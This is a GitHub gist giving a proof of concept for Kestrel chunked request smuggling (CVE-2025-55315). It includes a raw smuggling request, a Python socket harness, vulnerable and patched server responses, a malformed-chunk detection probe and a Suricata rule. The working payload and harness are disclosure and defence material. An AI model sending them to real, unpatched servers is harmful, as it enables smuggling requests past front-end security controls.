Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created October 18, 2025 13:56
Show Gist options
  • Select an option

  • Save N3mes1s/d0897c13ca199e739ecc2b562f466040 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/d0897c13ca199e739ecc2b562f466040 to your computer and use it in GitHub Desktop.
Kestrel Chunked Smuggling Proof of Concept (CVE-2025-55315)

Kestrel Chunked Smuggling Proof of Concept (CVE-2025-55315)

Run directory: artifacts/runs/ASP-Kestrel-Chunked-Smuggling/20251017-210608/ASP-Kestrel-Chunked-Smuggling/default_recipe/


1. Smuggling Payload

POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
Content-Type: text/plain
Connection: keep-alive

4;ext=foo
ABCD
0

GET /smuggled HTTP/1.1
Host: localhost

This is the exact request sent in tool_26_run_shell.log.


2. Python Harness

import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Content-Type: text/plain\r\n"
    b"Connection: keep-alive\r\n"
    b"\r\n"
    b"4;ext=foo\r\n"
    b"ABCD\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"\r\n"
)

with socket.create_connection(("127.0.0.1", 5000)) as s:  # vulnerable Kestrel 7.0.20
    s.sendall(payload)
    s.settimeout(1.0)
    chunks = []
    try:
        while True:
            data = s.recv(4096)
            if not data:
                break
            chunks.append(data)
    except Exception:
        pass

print(b"".join(chunks).decode(errors="ignore"))

3. Vulnerable Response (port 5000)

HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:07:20 GMT
Transfer-Encoding: chunked

2
OK
0

HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:07:20 GMT
Transfer-Encoding: chunked

2
OK
0

The server produced two responses on the same TCP connection, confirming GET /smuggled was accepted.


4. Patched Response (port 5001)

Exception: timed out
HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:10:35 GMT
Transfer-Encoding: chunked

2
OK
0

The patched build closes the connection after throwing Bad chunk extension, preventing the smuggled request.


5. Evidence Files

Item Path
Smuggling script tool_26_run_shell.log
Patched run output tool_44_run_shell.log
Vulnerable server log workspace/vulnerable_app.log
Patched server log workspace/patched_app.log
Fix commit (source tree) workspace/aspnetcoregit show b50ab865ec4dcd3d6ac30221288cc36bf189d300

6. Suggested Production Detection

To monitor live environments without custom endpoints, send a pre-auth GET / probe over TLS with a malformed chunk extension:

GET / HTTP/1.1
Host: <target>
Transfer-Encoding: chunked

2;\rxx
xy
0

  • Vulnerable Kestrel keeps the TLS session open after a 200 OK.
  • Patched Kestrel immediately aborts (400/connection close) because it now rejects the invalid chunk extension.

Deploying this probe via an L7 monitor provides a stable, generic detection path for CVE-2025-55315.

Suricata / Snort IDS Signature

If you need passive detection on the wire, the following Suricata-compatible rule flags inbound HTTP/1.1 requests that contain the problematic "\r" in a chunk extension. It maps cleanly to Snort as well.

alert http any any -> $HOME_NET any (
    msg:"Possible Kestrel chunked smuggling probe";
    flow:to_server,established;
    http.request_line;
    content:"Transfer-Encoding|3a| chunked"; http.header;
    content:"|0d 0a|2;|0d|"; within:32;
    classtype:web-application-attack;
    sid:2025553151; rev:1;
)
  • content:"|0d 0a|2;|0d|" looks for a CR immediately after the chunk length (2;) which legitimate clients should not send.
  • Adjust the sid/rev according to your ruleset policies.
  • Pair this with logging/alerting so operators can correlate probes with upstream platform versions.

Together, the active TLS probe and the passive IDS signature give full coverage: one verifies your own fleet, the other alerts if someone else is probing (or exploiting) the bug in production.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment